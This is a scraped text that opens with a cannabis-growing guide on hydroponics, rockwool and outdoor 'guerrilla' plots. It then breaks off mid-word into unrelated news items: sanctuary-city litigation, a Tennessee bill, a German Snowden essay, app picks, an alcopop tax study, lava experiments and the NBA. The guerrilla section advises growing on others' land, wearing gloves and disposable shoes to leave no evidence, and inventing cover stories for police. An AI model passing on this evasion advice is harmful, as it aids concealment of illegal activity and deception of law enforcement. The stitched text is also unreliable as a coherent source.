But rockwool has many advantages that are not appreciated until you spend hours repotting; take a second look. It is not very expensive, and it is reusable. It’s more stable than floral foam, which crunches and powders easily. Rockwool holds 10 times more water than soil, yet is impossible to over-water, because it always retains a high percentage of air. Best of all, there is no transplanting; just place a starter cube into a rockwool grow cube, and when the weed plant gets very large, place that cube on a rockwool slab. Since rockwool is easily reused over and over, the cost is divided by 3 or 4 crops, and ends up costing no more than vermiculite and lava, which is much more difficult to reclaim, sterilize and reuse (repot) when compared to rockwool. Vermiculite is also very dangerous when dry, and ends up getting in the carpet and into the air when you touch it (even wet), since it drys on the fingers and becomes airborne. For this reason, I do not recommend vermiculite indoors.
Rockwool’s disadvantages are relatively few. It is alkaline PH, so you must use something in the nutrient solution to make it acidic (5.5) so that it brings the rockwool down from 7.7, to 6.5 (vinagar works great.) And it is irritating to the skin when dry, but is not a problem when wet.
To pre-treat rockwool for weed planting, soak it in a solution of fish emulsion, trace mineral solution and phosphoresic acid (PH Down) for 24 hours, then rinse. This will decrease the need for PH worries later on, as it buffers the rockwool PH to be fairly neutural.
Hydroponics should be used indoors or in greenhouses to speed the growth of weed plants, so you have more bud in less time. Hydroponics allows you to water the weed plants daily, and this will speed growth. The main difference between hydroponics and soil growing is that the hydroponic soil or “medium”is made to hold moisture, but drain well, so that there are no over-watering problems associated with continuous watering. Also, hydroponically grown weed plants do not derive nutrients from soil, but from the solution used to water the weed plants. Hydroponics reduces worries about mineral buildup in soil, and lack of oxygen to suffocating roots, so leaching is usually not necessary with hydroponics.
Hydroponics allows you to use smaller containers for the same given size weed plant, when compared to growing in soil. A ¾ gallon pot can easily take a small hydroponically grown White Widow plant to maturity. This would be difficult to do in soil, since nutrients are soon used up and roots become cut-off from oxygen as they become root-bound in soil. This problem does not seem to occure nearly as quickly for hydroponic weed plants, since the roots can still take up nutrients from the constant solution feedings, and the medium passes on oxygen much more redily when the roots become bound in the small container.
Plant food is administered with most waterings, and allows the gardener to strictly control what nutrients are available to the weed plants at the different stages of White Widow plant growth. Watering can be automated to some degree with simple and cheap drip system apparatus, so take advantage of this when possible.
Hydroponics will hasten growing time, so it takes less time to harvest after weed planting. It makes sense to use simple passive hydroponic techniques when possible. Hydroponics may not be desirable if your growing outdoors, unless you have a greenhouse.
CAUTION: it is necessary keep close watch of weed plants to be sure they are never allowed to dry too much when growing hydroponically, or roots will be damaged. If you will not be able to tend to the garden every day, be sure the pans are filled enough to last until next time you return, or you can easily lose your crop.
More traditional hydroponic methods (active) are not discussed here. I don’t see any point in making it more diffucult than it needs to be. It is necessary to change the solution every month if your circulating it with a pump, but the reservoir system does away with this problem. Just rinse the medium once a month or so to prevent salts build up by watering from the top of the pot or rockwool cube with pure water. Change weed plant foods often to avoid deficiencies in the weed plants. I recommend using 2 different White Widow plant foods for each phase of growth, or 4 foods total, to lessen chances of any type of deficiency.
Change the solution more often if you notice the PH is going down quickly (too acid). Due to cationic exchange, solution will tend to get too acid over time, and this will cause nutrients to become unavailable to the weed plants. Check PH of the medium every time you water to be sure no PH issues are occuring.
Algae will tend to grow on the medium with higher humidities in hydroponics. It will turn a slab of rockwool dark green. To prevent this, use the plastic cover the rockwool came in to cover rockwool slab tops, with holes cut for the weed plants to stick out of it. It’s easy to cut a packaged slab of rockwool into two pieces, then cut the end of the plastic off each piece. You now have two pieces of slab, each covered with plastic except on the very ends. Now cut 2 or 3 4” square holes in the top to place cubes on it, and place each piece in a clean litter pan. Now your ready to treat the rockwool as described above in anticipation of White Widow planting.
If growing in pots, a layer of gravel at the top of a pot may help reduce algae growth, since it will dry very quickly. Algae is merely messy and unsightly; it will not actually cause any complications with the weed plants.
RECYCLING
Use pots made from squarish containers such as plastic water jugs, etc. More weed plants will fit in less space and have more rooting area if square containers are used. This makes your garden a recycling center, and saves you tons of money.
2-liter soda bottles work great, but are not square. 13 will fit in a kitty litter box, and these will take a 3 foot weed plant to maturity hydroponically. If you can get 4 litter boxes in a closet, you can grow 52 weed plants like this vegatatively. Spread them out more for flowering.
Old buckets, plastic 3-5 gallon containers (food and paint industries, try painters’ and resturant dumpsters), paper paint buckets, old plastic garbage cans of all sizes, and garbage bags have all been used successfully by growers.
Do not use paper milk cartons and juice cartons for reservoir hydroponics, since these are difficult to sterilize, and they introduce fungus into your reservoir trays. Inert materials, such as plastic is best.
Be sure to sterilize all containers before each White Widow planting with a clorine bleach solution of 2 tbspn. of bleach to one gallon of water. Let container and meduim such as rockwool soak for several hours in the solution before rinsing thouroghly.
PLANTING OUTDOORS
Outdoor growing is the best. Outdoor pot by far is the strongest, since it gets more light, it’s naturally more robust. No light leak problems. No dark periods that keep you out of your grow room. No electricity bills.
Sunlight tends to reach more of the weed plant, if your growing in the direct sun. Unlike growing indoors, the bottom of the weed plant will be almost as developed as the top.
Outdoors, outside of a greenhouse, there are many factors that can kill your crop. Deer will try to eat them. Chipmonks and rodents too. Bugs will inhabit them, and the wind and rain can whip your little buds to pieces if they are exposed to strong storms. For this reason, indoor pot can be better than outdoor, but the best smoke I ever tasted was outdoor pot, so that tells you something; nothing beats the sun.
Put up a fence and make sure it stays up. Visit your plot at least once every two weeks, and preferably more often if water needs demand.
It’s a good idea to use soil if you don’t have a green house, since hydroponics will be less reliable outside in the open air, due mostly to evaporation.
Light exposure is all important when locating a site for a greenhouse or outdoor plot. A backyard grower will need to know where the sun shines for the longest period; privacy and other factors will enter in as well. Try to find an innocuous spot that gets full winter sun from mid morning to mid afternoon, at least from 10-4, preferably 8-5. This will be really asking for a lot if you live north of 30 degrees latitude since days are short in winter. Since most gardeners will not want to use the greenhouse in the middle of the winter, you can still use winter sun as an indicator of good spring and fall lighting exposures. Usually the south side of a hill gets the most sun. Also, large areas open to the sun on the north side of the property will get good southern exposures. East and West exposures can be good if they get the full morning/afternoon sun and mid-day sun as well. Some books say the weed plants respond better to morning-only sun, verses afternoon-only sun, so if you have to choose between the two, morning sun may be better.
Disguise your greenhouse as a tool shed, or similar structure, by using only one wall and a roof of white opaqued plastic, PVC, Filon, or glass, and using a similar colored material for the rest of the shed, or painting it white or silvery, to look like metal. Try to make it appear as if it has always been there, with weed plants and trees that grow around it and mask it from view while allowing sun to reach it.
Filon (corrugated fiberglass)or PVC plastic sheets can be used outside to cover young White Widow plants grown together in a garden. Buy the clear greenhouse sheets, and opaque them with white wash (made from lime) or epoxy resin tinted white or grey and painted on in a thin layer. This will pass more sun than white PVC or Filon, and still hide the weed plants. Epoxy resin coats will preserve the Filon for many more seasons than it would otherwise last. It will also allow you to disguise the shed as metal, if you paint the clear filon sheets with a thin layer of resin tinted light grey. Paint will work as well, but may not protect as much. Be careful to use only as much as needed, to reduce sun blockage to a minimum.
Dig a big hole, don’t depend on the weed plant to be able to penetrate the clay and rubble unless your sure of the quality of topsoil in the area. Grassy fields would have good top soil, but your back yard may not. This alone can make the difference between an average 5’ tall weed plant, and a 10’ monster by harvest time. Growing in the ground will always beat a pot, since the weed plant will never become root bound in the ground. Plants grown in the ground should grow much larger, but will need more space for each weed plant, so plan accordingly, you can’t move them once they’re in!
You may want to keep outdoor weed plants in pots so they can be easily moved. A big hole will allow the pot to be place in it, thus reducing the height of the White Widow plant, if fence level is an issue. Many growers find pots have saved a crop that had to be moved for some unexpected reason (repairman, appraiser, fire, etc.).
It’s always best to put a roof over your weed plants outdoors. When I was a lad, we had weed plants growing over the fence line in the back yard. We started to build a greenhouse roof for them, and a cop saw us hauling wood, thought we were stealing it (which we were not) and looked over the fence at us and our lovely White Widow plants. We were busted, because he saw them. If he had seen a shed roof instead, there would never have been a problem. Moral of the Story: build the roof BEFORE the weed plants are sticking over the fence! Or train them to stay well below it. Live and learn...
When growing away from the house, in the wild, water is the biggest determining factor, after security. Water must be close by, or close to the soil surface, or you will have to pack water in. Water is heavy and this is very hard work. Try to find an area close to a source of water if possible, and keep a bucket nearby to carry water to your plot.
A novel idea in this regard is to find high water in the mountains, at altitude, and then route it down to a lower spot close by. It is possible to create water presure in a hose this way, and route it to a drip system that feeds water to your weed plants continuously. Take a 5 gallon gas can, and punch small holes in it. Run a hose out of the main orifice and secure it somehow. Bury the can in a river or stream under rocks, so that it is hidden and submerged. Bury the hose coming out of it, and run it down hill to your garden area. A little engineering can save you a lot of work, and this rig can be used year after year.
GUERRILLA GARDENING
Guerrilla farming refers to farming away from your own property, or in a remote location of your property where people seldom roam around. It is possible to find locations that for one reason or another are not easily accessible or are privately owned.
Try to grow off your property, on adjacent property, so that if your plot is found, it will not be traceable back to you. If it’s not on your property, nobody has witnessed you there, and there is no physical evidence of your presence (footprints, fingerprints, trails, hair, etc.), then it is virtually impossible to prosecute you for it, even if the cops think they know who it belongs to.
Never admit to growing, to anyone. Your best defence is that your just passing thru the area, and noticed something you decided to take a look at, or carry a fishing pole or binoculars and claim fishing or bird watching.
Never tell anyone but a partner where the weed plants are located. Do not bring visitors to see them, unless it is harvest time, and the weed plants will be pulled the same or following day.
Make sure your weed plants are out of sight. Take a different route to get to them if they are not in a secure part of your property, and cover the trail to make it look as if there is no trail. Make cut backs in the trail, so that people on the main trail will tend to miss the cut-back to the grow area. Don’t park on the main road, always find a place to park that will not arouse suspicion by people that pass on the road. Have a safe house in the area if you are not White Widow planting close to home. Always have a good reason for being in the area and have the necessary items to make your claim believable.
Briar and poison oak patches are perfect if you can cut through it. Poison Oak must be washed away before an allergic reaction takes place. Teknu is a special soap solution that will deactivate poison oak before it has time to create a reaction. Apply Teknu immediately after contact and take a shower 30 mins. later.
Try to weed plant under trees, next to bushes and keep only a few weed plants in any one spot. Train or top the weed plants to grow sideways, or do something to prevent the classic christmas tree look of most White Widow plants left to grow untrained. Tying the top down to the ground will make the weed plants branches grow up toward the sun, and increase yield, given a long enough growing season. Plants can be grown under trees if the sun comes in at an angle and lights the area for several hours every day. Plants should get at least 5 hours of direct sun every day, and 5 more hours of indirect light. Use shoes that you can dispose of later and cover your foot prints. Use surgical gloves and leave no fingerprints on pots and other items that might ID you to the fuzz...in case your plot is discovered by passers by.
Put up a fence, or the chipmonks, squirles and deer will nibble on your babies until there is nothing left. Green wire mesh and nylon chicken fencing net work great and can be wrapped around trees to create a strong barrier. Always check it and repair every visit you make to the garden. A barrier of fishing line, one at 18” and another at 3’ will keep most deer away from your crop.
Gopher Granola is available for areas such as the N. CA mountains, where wood rats and gophers will eat your crop if given any opportunity to do so. The best fence in the world will not keep rats away from your weed plants! Do not use soap to keep dear away, it will attract rats! (The fat in the soap is edible for them.) Put the poison grain in a feeder than only small rodents can enter, so that birds and deer can’t eat it. Set out poison early, before actual weed planting. The rats must eat the grain for several days before it will have any effect on them. Ultimately, you may find it’s easier to grow in a greenhouse shed in your own backyard rather than try to keep the rats from eating your outdoor plot.
When growing away from the house, in the wild, water is the biggest determining factor, after security. The amount you can grow is directly proportional to the water available. If you must pack-in water, carry it in a backpack in case your seen in-route to your garden; you will appear to be merely a hiker, not a grower.
Transporting vegatative starts to the growing area is a most tricky aspect of growing outdoors. Usually, you will want to start White Widow plant indoors, or outside in your garden, then transport them to the grow site once they are firmly established. It may be desirable to first detect and separate males from females so that no effort of transporting/transplanting/watering males is incurred.
One suggestion is to use 3” rockwool cubes to start seedlings in, then put 20 of them in a litter pan, cover it with another pan, and transport this to the grow site. The cubes can be weed planted directly into soil. If spotted inroute to the grow area, burying a dead cat may be a good excuse for being in the area. Few people would demand to see the rotting corpse!
One outdoor grower we know has given up on seeds. He has several strains he likes to clone, so he starts 200 clones in his closet, then transports them outdoors in boxes to the grow site. No males, no differentiation, no weeding, no germinating seeds, no genetic uncertainties, no crops grown for seed, no transporting/transplanting/watering weed plants your just going to pull up later, no pollination nightmares, no wasted effort!
SOIL GROWING
Use Super Soil brand in California, as this is the only known soil on the West Coast that is guaranteed to be good. Many other brands are mostly wood products and have very few nutrients, are too moist, etc. Add vermiculite, pearlite or sand to Super Soil to increase it’s drainage and aeration.
Organic gardeners use their own compost prepaired from a mixture of chicken, cow or other manure and household food waste, leaves, lawn clippings, dog hair and other waste products including urine, which is high in nitrogen. Dog hair is not recommended for guerilla gardeners weed planting off their property where police could find it. DNA tests could prove it was YOUR dog’s hair!
Use P4 water crystals in the soil to give the weed plants a few days worth of emergency water reserves. This substance swells up with water and holds it like a sponge, so that roots will have a reserve if harsh drought makes constant watering necessary. Go real easy on this stuff though, it tends to sink to the bottom of the pot and suffocate bottom roots (new growth roots) and stunts the White Widow plant. Use in extreme moderation, let it swell up for at least an hour before mixing with other soil.
Plant size in soil is directly related to pot size. If you want the weed plant to grow bigger, put it in a bigger pot. Usually, ½ gallon per foot of weed plant is sufficient. A six foot weed plant would require a minimum of a 3 gallon pot. Remember, square containers have more volume in a square space (like a closet).
Planting in the ground is always preferable when growing in soil. The White Widow plants can then grow to any size, unlimited by pot size.
Bat Guano, chicken manure, or worm castings can all be used to fertilize organically in soil. Manures can burn, so they should be composted with the soil first, before weed planting, over several weeks. Sea weed is available to provide a rich trace mineral source that breaks down slowly and constantly feeds the weed plants.
If growing outdoors in available soil, look around for leaves and other natural sources of nitrogen and work them into the soil, along with some dolmite lime and composted organic fertilizer. Even small amounts of weed plant food such as Miracle Grow can be added to soil at this time. (Organic gardeners frown upon this practice, however. Toxic wastes are produced by commercial fertilizer production.) Mulch can be made from leaves and spread out over the garden area to hold in moisture and keep down weeds near the weed plants.
SUBTREFUGE |
el
• 91 percent of the halibut
• 92 percent of the sardines
• 93 percent of the tuna and eel
• 94 percent of the cod and anchovies
• 100 percent of the carp, seaweed, shark and monkfish
You can read the rest of that article right here.
When it comes to your health, it pays to do your own research and to do your own thinking.
Don’t blindly trust me, your doctor or anyone else. Look into these things for yourself and come to your own conclusions.
In the end, you will be very happy that you did.
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Contributed by Michael Snyder of The Truth.
Michael Snyder is a writer, speaker and activist who writes and edits his own blogs The American Dream, The Truth and Economic Collapse Blog.United Future leader Peter Dunne has found himself in the firing line of New Zealand's comedians.
What's the rule about getting up in the middle of a standup comic's gig? Don't do it.
Similarly, UnitedFuture leader Peter Dunne may think twice in future before dismissing an entire working group in New Zealand - particularly when that working group is comedians.
A single comment Dunne made on Twitter on Thursday night, appears to have snowballed into a solid 24-hour lashing in which neither his quiff, nor his bow-tie were safe.
If only he had stopped there.
Instead, Dunne defended his stance, and in the process took what appeared to be a swing at National's Northland by-election candidate Mark Osborne, but was perhaps meant for NZ First leader Winston Peters.
Finally, an onslaught of comedic retorts forced him to retreat, indignant.
Because it's Friday (and what's Friday without a Friday Funny?), here are some of the best replies:A federal judge ruled to permanently block President Donald Trump’s executive order to curb spending from cities not cooperating with U.S. immigration officials, according to CNN.
U.S. District Court Judge William Orrick announced the decision on Monday after San Francisco and Santa Clara filed lawsuits against the order, the report said. Orrick said Trump is not authorized to establish new conditions on funding approved by Congress.
The ruling annuls the executive order endorsed by the president in January, shortly after taking office, the report said. The order aimed to crack down on so called “sanctuary cities,” municipalities not cooperating with Immigration and Customs Enforcement (ICE) requests for assistance with the identification and deportation of illegal immigrants.
Chicago, New York, Los Angeles and San Francisco were among the jurisdictions not cooperating with authorities.
The order was meant to "strip federal grant money from the sanctuary states and cities that harbor illegal immigrants," according to former press secretary Sean Spicer. The executive order immediately led to a court challenge with San Francisco being the first to file a lawsuit, followed by other counties including Santa Clara.
Opponents of the executive order celebrated the judge’s ruling on Monday, the report said.
"This is a victory for the American people and the rule of law," San Francisco city attorney Dennis Herrera said in a statement. "This executive order was unconstitutional before the ink on it was even dry.”
"We live in a democracy. No one is above the law, including the president."
The statement added he was "grateful that we've been able to protect billions of dollars that help some of the most vulnerable Americans."
However, a Department of Justice spokesman said the court’s decision “exceeded its authority” in its ruling and pledged the department would follow Trump’s guidance regarding the executive order signed in January.
"The District Court exceeded its authority today when it barred the President from instructing his cabinet members to enforce existing law," spokesman Devin O'Malley said. "The Justice Department will vindicate the President's lawful authority to direct the executive branch."
Sanctuary cities are jurisdictions with policies aimed to restrict compliance or involvement in federal immigration enforcement actions, the report said. Cities, counties and some states have a series of informal rules and laws qualifying as “sanctuary” positions.
In 2015, more than 200 state and local jurisdictions did not comply with Immigration and Customs Enforcement to apprehend individuals, according to ICE Director Sarah Saldaña. A subset within that group refused to allow ICE officials access to their jails and prisons.
According to data by the Center for Immigration Studies — a think tank advocating for restricting immigration and is against sanctuary policies — about 300 sanctuary jurisdictions declined more than 17,000 detention requests between Jan. 1, 2014 to Sept. 30, 2015, CNN reported.
— WN.com, Jubilee BaezNASHVILLE, Tenn. — A panel in the Tennessee state House on Wednesday voted to advance the controversial “Don’t Say Gay” bill, a measure that would prohibit Tennessee public schools from teaching LGBTQ-related issues.
The legislation limits all sexually related instruction to “natural human reproduction science” in kindergarten through the eighth grades, and cleared its first hurdle in the state House on a voice vote of the House Education subcommittee.
The panel accepted the version of the bill that passed the state Senate late in last year’s session.
During the hearing, Rep. Bill Dunn (R-Knoxville) stated the amended version of the bill is in line with current curriculum and is consistent with what is already written in Title 49 of the Tennessee Code Annotated.
Rep. Craig Fitzhugh (D-Ripley), was the only member of the subcommittee to speak against the measure, calling it “a solution in search of a problem.”
The Tennessee Equality Project said there is no curriculum in Tennessee that discusses sexuality in grades K-8, so the bill is unnecessary.
The bill, first proposed in 2008 by state Sen. Stacey Campfield (R-Knoxville), was approved last May following his three year effort to implement the ban.
Campfield has said the bill is necessary because homosexuality is a “learned behavior.”
Though supporters of the bill assert that it is ideologically neutral, and allows families to discuss the sensitive topic of sexuality when parents feel their children are ready, many have noted that the bill actually ostracizes LGBT students since it promotes heterosexuality as the only form of sexuality that can be discussed by teachers.
Opponents of the bill also claim it will prevent teachers and school officials from preventing the bullying of LGBTQ youths.
This Story Filed UnderIsolde Charim ist Philosophin und Publizistin und arbeitet als wissenschaftliche Kuratorin am Kreisky Forum in Wien. Isolde Charim ist Philosophin und Publizistin und arbeitet als wissenschaftliche Kuratorin am Kreisky Forum in Wien.
Edward Snowdens Asyl in Russland läuft demnächst aus. Edward Snowden - das ist jener junge Mann, dessen Enthüllungen zu den Überwachungsaktivitäten der amerikanischen NSA unser aller Verhältnis zum Internet mit einem Schlag radikal verändert hat: Aus einem "Netz der Verheißungen" wurde es zu einem "Überwachungsnetz" - wie das kürzlich bei einer Konferenz für Webenthusiasten in Düsseldorf genannt wurde. Edward Snowden verkörpert diese Wende. Seine Enthüllungen spalten das Netz in eine Ante- und eine Post-Snowden-Ära.
Wenn nun Snowdens Asyl ausläuft, wenn sich wieder, wie vor einem Jahr, die Frage stellt: Wohin geht er nun? - dann taucht damit wieder die Erfahrung auf, dass es keinen Ort auf der Welt für ihn zu geben scheint.
Russland - was war das für ein absurdes Asyl!
Russland, das Freiheitsparadies,
hat mit dem Asyl für Snowden nur ein weiteres Steinchen in seine Feinderklärung an die USA, an den Westen hinzugefügt. Ein paradoxes Steinchen - ist Snowden doch der Inbegriff genau jener Werte, denen Russland den Kampf ansagt. Die Russen gewährten nicht dem Aufklärer Asyl, sondern dem Feind ihres Feindes.
Wobei es ja eine Frage der Perspektive ist, ob Snowden ein Feind der USA, ein Feind des Westens ist - oder ob er nicht vielmehr deren zentrale Werte vertritt.
Für die Mächtigen waren Menschen wie Snowden immer Verbrecher - das ist auch in Barack Obamas USA nicht anders. Für die anderen aber ist ein Whistleblower das Gegenteil davon. Ein Begriff übrigens, für den es keine positive deutsche Übersetzung gibt, der sich nur umschreiben lässt: ein Arbeiter an der Aufklärung von Unterdrückung, Desinformation und Überwachung.
Und in diesem Zusammenhang wird die Frage nach dem Asyl hoch symbolisch: Kein Ort für Snowden bedeutet: kein Ort für Aufklärer. Für diese gibt es nur Nicht-Orte. Auf seiner Flucht vor einem Jahr irrte er durch die Welt, die sich ihm ganz verschlossen hatte.
Und so strandete er für mehrere Wochen im Transitbereich des Moskauer Flughafens. Er kampierte da, in diesem Niemandsland - ausgeschlossen von allen gesellschaftlichen Orten. So wie auch der Wikileaks Gründer Julian Assange seit zwei Jahren in der winzigen, ecuadorianischen Botschaft in London ausharrt. Ohne das Haus zu verlassen.
Als Symbol, als Metapher bedeutet das: Dissidenz, Aufklärung hat heute keinen Ort, keinen gesellschaftlichen Platz. Sie muss sich exterritorial machen, wenn sie sich äußert. Aufklärung ist heute nicht mehr die Erfahrung einer positiven, sondern einer negativen Vision. Sie ist keine Utopie, sondern eine Dystopie.
Eine Erfahrung, die auch zeigt, dass es bei Aufklärung nicht einfach um Wissen geht. Wissen alleine reicht nicht aus. Man wusste schon vorher von der NSA.
Nicht Transparenz und Wahrheit macht einen wirklichen politischen Unterschied, sondern erst der Umstand, "dass Leute es wagen, diese Wahrheit auszusprechen", so der Politologe Ivan Krastev.
Eigensinn nannte man das früher. Dass darin tatsächlich ein Wagnis liegt, belegt Snowdens Schicksal nur allzu deutlich.110 SHARES Facebook Twitter Linkedin Reddit
Own Gear VR or Daydream View? Then you’ve got access to free courtside seats to this Tuesday’s forthcoming Timberwolves vs. Spurs NBA game live… in VR of course.
This Tuesday, January 17th, NextVR is offering a free pass to watch the San Antonio Spurs, currently holding the #2 position in the NBA Western Conference, tip off against the Minnesota Timberwolves.
NextVR specializes in virtual reality live broadcasting, and has worked with major sporting organizations like the NBA, NFL, NHL, Nascar, and more to put you in the midst of the action right from the comfort of your home. This season, the company agreed to broadcast some 20 live NBA games in VR, straight to the NextVR app, which is available on Gear VR and Google’s Daydream View headset. And while you’d typically need to drop $99 on the NBA League Pass to see the action live in VR, the Spurs vs. Timberwolves game this Tuesday will be accessible for free.
Tune in to the NextVR app on your Gear VR or Daydream View headset on January 17th at 8:30PM ET to watch courtside, live in VR. Drop us a comment below to let us know who you’re rooting for.Last week, Apple announced that its App Store is approaching 50 billion app downloads. In celebration of the milestone, Apple is giving away a $10,000 App Store gift card to the lucky person who initiates the 50 billionth download.
As part of the celebration, Apple listed the top 25 apps -- both free and paid -- for iPhone and iPad. None of the apps listed is particularly surprising (especially to someone who studies the most-popular list every day), but one thing that did strike me is that a lot of the all-time best sellers still sit near the top of the current most-popular lists. In other words, once an app gains a certain degree of popularity, it seems to have a way of keeping its momentum and staying at the top. But with more than a million apps available, it seems to me that a lot of people are missing out on great apps that didn't get the publicity, perhaps didn't come from well-known developers, or simply slid under people's radar.
So instead of trotting out the apps we all know such as Instagram, Angry Birds, YouTube, and Skype, I thought I would make a list of apps that you should try if you are looking for something new and different.
Screenshot by Jason Parker/CNET
YouTube is great, but check out Jasmine
The YouTube app lets you access the megapopular video site and see the latest and top trending videos, and is the obvious choice because it's the official app for the site. But Jasmine, from a much smaller developer, lets you access YouTube in many of the same ways, while adding an elegant interface layout and more useful features than you get with the official offering. Read more about Jasmine.
Screenshot by Jason Parker/CNET
If you use Camera+, you'll love KitCam
There are a million photo-editing apps to choose from, and Camera+ is a solid option that's always high on the most-popular list. But for a better overall experience, I like KitCam. KitCam has slide-out panels where you can select different types of lenses, films, and frames that you can mix and match for some really unique effects. But the best thing about KitCam is that all the tools work with video as well. Read more about KitCam.
Screenshot by Jason Parker/CNET
Weather Channel or Yahoo Weather?
The Weather Channel's app deserves its place on the all-time most popular list with the most comprehensive set of weather data. But for something a bit more elegant that has most of the weather info you need on a daily basis, try Yahoo Weather. With local photos from Flickr as a backdrop, Yahoo Weather serves up the temperature, hourly and weekly forecasts, wind speed, barometric pressure, and other data. Once you try this app, you'll see how much of a joy it is to use. Read more about Yahoo Weather.
Screenshot by Jason Parker/CNET
Pandora fans should try Slacker Radio
There's no question that Pandora does a great job creating radio stations around the music you like. But with Slacker Radio, you can get custom stations along with live radio stations from around the world. If you're willing to a pay a subscription, you can cache music for offline listening, listen to any song on demand, and more. Read more about Slacker Radio.
Screenshot by Jason Parker/CNET
Need a break from Instagram? Try EyeEm
Instagram is where all the users are, so it's tough to replace for the user base. But if you want a break from Instagram or want to join a smaller but lively photo-sharing community, try EyeEm. EyeEm has a somewhat similar layout to Instagram but uses big, colorful tags to categorize images based on location, mood, and nearly any criteria that people come up with. What results is a fun place to browse through photos that share a common theme. Just like Instagram, you'll be able to choose from a number of effects, like and comment on photos, and follow people whose photos you admire. Read more about EyeEm.
Screenshot by Jason Parker/CNET
Like Temple Run? Try One Epic Knight
Endless-running games have been a big hit on touch screens because the genre plays perfectly with easy swipe controls. Temple Run was one of the first 3D runners, and Temple Run 2 continues to do well. But if you like 3D endless-running games, check out One Epic Knight. In this game you run, jump, and slide through dungeons, avoiding traps and battling monsters, all while picking up treasure chests full of loot. The Knight has some pretty epic one-liners to make you chuckle while you play, too. Read more about One Epic Knight.
Screenshot by Jason Parker/CNET
Fruit Ninja fans will like Skylanders Cloud Patrol
Fruit Ninja might be the perfect touch-screen game, letting you swipe to slice fruit with a satisfying splash of color. But Skylanders Cloud Patrol brings the same swiping action against level after level of evil little trolls. You'll have to be quick to get the best combos, and you always have to watch out for mines and other obstacles. Read more about Skylanders Cloud Patrol.
Screenshot by Jason Parker/CNET
Subscribe to Netflix or watch Crackle for free
One of the most popular uses for the iPad is watching movies on the go, and if you have a subscription to Netflix, you can watch all of the Watch Instantly titles. But with Crackle, you don't need a subscription to watch both movies and TV shows. It doesn't have the library of Netflix, but it has enough content to keep you busy for plenty of time, and it's hard to beat the price. Read more about Crackle.
Screenshot by Jason Parker/CNET
CNN is good, but Flipboard is more touch-screen-friendly
Any of the big broadcast news apps is a no-brainer when you're looking for a good news source, but there are better options designed specifically for the touch screen. With Flipboard, you pick the news sources you want and the app displays them in a magazine-like layout for easy browsing. What's more, you can connect it to your Facebook and Twitter accounts to get headlines along with photos and messages from social networks as well. Read more about Flipboard.
Screenshot by Jason Parker/CNET
Solitaire is a classic, but Fairway Solitaire is a lot more fun
It's no surprise that people pass the time playing solitaire on an iPad, but for something a little different, you should check out Fairway Solitaire. Though it doesn't have all the variations you find in a standard Solitaire app, Fairway Solitaire mixes classic cards with a game of golf for a unique gaming experience. This award-winning game is very well designed with smooth graphics, great sounds, and addictive gameplay that challenges you to lower your score (don't forget, we're also playing golf). Read more about Fairway Solitaire here.AUSTRALIAN drinkers have spent $4.5 billion in "alcopop" taxes that have failed to curb teen binge drinking.
A federally-funded study to be released today reveals the tax has not dinted the number of teenagers and young people with alcohol-related injuries.
Former prime minister Kevin Rudd slapped a 70 per cent tax increase on pre-mixed drinks - dubbed "alcopops" - in 2008 to try to curb binge drinking.
But a new University of Queensland analysis of 87,665 alcohol-related visits to hospital emergency departments over three years has found the tax made no difference.
"The premise was that this tax would reduce alcohol consumption among young people, as teenagers of both sexes prefer pre-mixed drinks over other forms of alcohol," the researchers concluded.
"The increased tax on `alcopops' was not associated with any reduction in hospital admissions for alcohol-related harms in Queensland 15-29 year-olds."
The lead researcher, UQ School of Population Health professor Steve Kisely, said young people had turned to other types of drink.
He said some bottle shops began taping bottles of soft drink or fruit juice to bottles of spirits, once the tax came in.
"If teenagers are looking for a good time and find their favorite tipple of alcopops has doubled in price, they're not going to go home and have a hot mug of chocolate," he told News Limited yesterday.
"They're going to find something else... it's generally spirits.
"People are falling over and breaking limbs, hitting their heads, getting into fights and having traffic accidents."
The UQ analysis will be presented at the Royal Australian & New Zealand College of Psychiatrists in Sydney today.
An analysis of the federal Budget papers reveals that Australians have paid $4.5bn in "alcopops" taxes since 2008/09.
They are forecast to spend $960m next financial year, and $1bn in 2014/15.
But the tax collected in the past three years has fallen $411m short of forecasts made in the 2010/11 budget.
Actual revenue fell $60m short in 2010/11 and $121m short in 2011/12 - while the forecast for this financial year has been lowered by $230m.
Australian Bureau of Statistics data shows drinkers have switched from pre-mixed drinks, such as rum-and-coke, to pure spirits since the tax was introduced.
Consumption of pre-mixed drinks fell 31 per cent between 2008 and 2011, the latest data shows.
But Australians drank 20 per cent more in pure spirits over the same period.
Professor Kisely suggested that alcohol taxes be raised across the board, and that bottle shops and pubs enforce age limits for drinkers.
"The problem with targeting one particular drink is that people will go and find something cheaper," he said.
"Maybe look at pricing across the board."
ALCOPOP TAX REVENUE
What the 2010/11 Budget papers predicted.... and what was collected
2010/11 $960m $900m
$960m $900m 2011/12 $1.03bn $909m
$1.03bn $909m 2012/13 $1.13bn $900m
Source: Budget papers
Originally published as Teens drown alcopop tax woesScott K. Johnson
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Scott K. Johnson
Scott K. Johnson
Back in 2012, we pointed you to an awesome project at Syracuse University that creates artificial lava flows for science, art, and outreach. They don’t use some mild, room-temperature stand-in for lava, they do it the artisanal way: melting small batches of basalt in a serious furnace and pouring out the incandescent results. I’ve been hoping to see it for myself ever since, and recently I got the chance to tag along with a group of volcanology students from Colgate University, who were designing and running their own lava experiments for class.
The furnace is surprisingly well-insulated, disguising the fact that it holds molten rock heated to over 1,200 degrees Celsius. It does emit a low, ominous roar, however, as it consumes natural gas to feed its fire. Once poured out, the lava quickly loses heat—it solidifies in just a minute or so, though it still remains incredibly hot long after. Because it solidifies so quickly, it forms amber-black volcanic glass riddled with bubbles of gas that were unable to escape.
The lava pours are as mesmerizing and beautiful as they are geologically exciting. And they’ve probably shocked many a bus rider staring dully out the window while passing the art building.
Thanks are due to Syracuse Prof. Robert Wysocki and Colgate Prof. Karen Harpp and her students, who provided video of their experiments. If you want to see more (including some lava-seared steak), check out Wysocki’s Vimeo page.
Listing image by Scott K. JohnsonCharlotte Hornets co-owner Felix Sabates took both the NBA and the Charlotte City Council to task in an email to the team’s ownership group following Thursday’s announcement that the 2017 All-Star game would be moved from Charlotte.
Sabates sent his email in response to a note sent to the entire ownership group from Hornets President and COO Fred Whitfield regarding the league’s decision to move the game.
“As a valued member of our ownership group, we wanted to make you aware of the NBA’s announcement today that Charlotte will no longer be hosting the 2017 All-Star game in February,” Whitfield’s letter read. “While we are disappointed by this decision, we understand the challenges around having All-Star Weekend in Charlotte this season and we are grateful that the league has provided an opportunity for us to host the event in the next available season in 2019.”
Whitfield’s letter to the Hornets’ ownership group went out nearly ten minutes after the NBA released a statement announcing its decision to move the game.
